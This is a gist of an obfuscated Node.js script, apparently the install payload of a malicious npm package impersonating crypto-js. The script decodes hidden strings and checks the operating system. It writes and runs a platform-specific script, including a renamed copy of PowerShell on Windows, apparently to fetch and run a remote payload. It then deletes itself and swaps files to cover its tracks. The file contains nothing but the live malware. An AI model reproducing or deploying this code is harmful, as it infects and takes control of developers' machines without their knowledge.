plain-crypto-js payload

gistfile1.txt

const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("").map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse().join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return _trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx","__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","","__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bxtWcoF/axsSsoF3axvWMqFXIxZSMjE3JxSScmE3JxvW8rFraxhSMqEnKxtW8qFraxvW8rFbIxESMhEHIxSS8nE7IxZS8rF/axtWMqF/axFScmEzIxdSclE7JxdS8rFjaxtWMqEHKxkS8qEfaxtWsvE7LxrScvETLxvScrF3LxvSMoF3axjS8rEnKxpSMpEXKxtWcvEDaxtW8rFjaxUS8nEzIxDSMhEjIxSSsnE3JxoW8rF3axrWcrF/axoWchEnJxMSsmELJxeScnE/axvWsqFPbxtW8rFjaxGS8gETIxBSskEjJxOSsnE/axoWcrF/axvWMvFnLxpSMuEnKxiSMuE3LxiWsqE/LxiSMpFDKx9S8oETax+SMqErKxsSspEnKxsScvE/axoWcrFnKxgWcrFnJxZSsgE3JxtWskEDaxtWsvEDaxtWspE/Lx4SsrEraxuSsoF3axoSctE/KxjWcqEDKxpS8rF3axjSMuE/JxkWcoEHKxoSsoE7JxnS8rELKxtWsqF3axtW8hFPaxvWcoEHKxoScpEnJxjWcuE3LxjS8vE7KxeSsmE/axiWcuE7KxoSMoE/KxCSMqEnLxsS8rE/LxOScrFfbxtWcoEHKxoScpEnJxnS8rELKxqWcuEjKxeScrF3axqWcrFfYx","_sKxiWcrFjaxFScmEzIxdSskEbIxMSsjELIxGS8rF3axhSMqEnKxqW8qFvaxtWcpErKxiScoELKxjScpFLaxtW8rFLIxZSMjE3JxSScgEvIxOSsgEHIxoWcrFnLx9SMpE/LxpSsvE7Kx","__wrFLIxZSMjE3JxSScgEvIxOSsgEHIxqW8qE/LxgWcrFDKx4S8rF3ax5SsuETKx/SsrE7LxtWspEHKxoScpEnLxtWsoEnKxtWcrFraxtW8hFTLx4ScuE3axpS8oEjKxqWcrF3axtWsqF3axtWcrFfYxvWspEHKx4S8oEXax7SMqEnKxiWcrFTbxrWcrF/axWS8qF3axvWcrFvaxqWsvE3axrWsqF/axtW8rF3axrWsqFnKxtW8qFraxvW8rFHJxtWsrEfaxtWcpE7LxwSsoFPKxkS8rELaxqW8qFvaxtWMqF3axrWcrFnKxtWMrF3axvWcrFrbx6WsuF3axpSsoEfKxlSsrE3axsW8qF3axvWcrFvaxqWsvE3axrWsqF/axtWsvEDaxtWMqF3axrWcrFjax9WcuE7Kx4ScqEXKx/ScvELaxtS8vELKxjWMoE3LxkS8oF7LxoScrEzKxmSsrEzKx9SsqFnKxgWcrFjaxtW8qF3axsScrFzaxtWcqE3axsWcrF/axtWsoEDaxqWcoE/Lx4ScqE/axtWcuE3LxkSMuE7Kx+ScrFbKxhSMqEXKx+ScrFXKxpScrF3axqWcrF3axtWcrF3axqWcrF3axtWMgFTLx/ScuE3axtWsqF3axtWcrFraxtW8hFDLxvWcqETKxiSMoEPax+SsrEzKxjWMqEHKx6ScvEzKxjW8pELKxuSsoF7LxoSsoE7KxsSsjEXax0S8vEzKx/S8rEPKxBSsoF/axqWcoF/axGS8gETIxGSskE/JxOScmE/axtWcoF/axvWcsE3axiScuEraxwScqE3axhWsvEraxhWMrEbLxqWcuEjKx+ScrF3axqWcrFfYx","__wqF3ax8W8qFTbx/WcrFHKxmSMuEPKxiW8uEjKxuSsoF3axzWsqF/axFScmEzIxdSclEHIxMSsjEXIxBS8rF3ax5ScvEPKx/SsrE7LxrSsvELKxtWcvEjLxiSsoEPKx","","_saxtW8uFvaxzW8vFraxhScoEjLxjSsoFzLxoScqELaxqW8sF3axGS8gETIxGSskE/JxOScmE3ax0ScvEPaxpSspELax9SMoE7LxiWcrF7bxjSsoELKx5SMtE3LxqWcvEjLxlSsoEPKxqW8qFvaxtWcgEPIxEScgELJxfSciE7JxtWsvEfaxtW8vFnLxuSMuE7KxiS8vE3LxlWsqE/LxiS8oFDKx6S8oEPax+S8rErKxsSspE7KxsSsuE3axpSMoFrax0ScvEPaxpScoEXax9SMoEnLxlWcrFLKxgWcrFHKx4SMuE7Kx","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx","_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax","_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{let r=4027,E=(r.toString().charCodeAt(2),atob("TE9DQUw^".replaceAll("^","="))+atob("X1BBVEg^".replaceAll("^","="))),S=atob("UFM_".replaceAll("_","="))+atob("X1BBVEg_".replaceAll("_","=")),a=atob("U0NSXw--".replaceAll("-","="))+atob("TElOSw))".replaceAll(")","=")),c=atob("UFNfQg--".replaceAll("-","="))+atob("SU5BUlk*".replaceAll("*","=")),s=atob("d2hlcmUgcG93ZXJzaGVsbA((".replaceAll("(","=")),t=require(_trans_2(stq[2],ord)),W=require(_trans_2(stq[1],ord)),{execSync:F}=require(_trans_2(stq[0],ord)),o=W.platform(),e=W.tmpdir(),q=_trans_2(stq[3],ord)+x,n=(_trans_2(stq[4],ord),"");W.type(),W.release(),W.arch();for(;;){if(o===_trans_2(stq[6],ord)){let r=e+"/"+x,S=_trans_2(stq[9],ord);S=S.replaceAll(a,q),S=S.replaceAll(E,r),t.writeFileSync(r,S),n=_trans_2(stq[10],ord),n=n.replaceAll(E,r)}else if(o===_trans_2(stq[5],ord)){let r=F(s).toString().trim(),W=process.env.PROGRAMDATA+"\\wt"+_trans_2(stq[15],ord);t.existsSync(W)||t.copyFileSync(r,W);let o=e+"\\"+x+_trans_2(stq[17],ord),K=e+"\\"+x+_trans_2(stq[16],ord),l=_trans_2(stq[7],ord);l=l.replaceAll(a,q),l=l.replaceAll(S,K),l=l.replaceAll(c,W),t.writeFileSync(o,l),n=_trans_2(stq[8],ord),n=n.replaceAll(E,o)}else n=_trans_2(stq[12],ord),n=n.replaceAll(a,q);break}F(n);const K=__filename;t.unlink(K,(x=>{})),t.unlink(_trans_2(stq[13],ord),(x=>{})),t.rename(_trans_2(stq[14],ord),_trans_2(stq[13],ord),(x=>{}))}catch{}};_entry("6202033");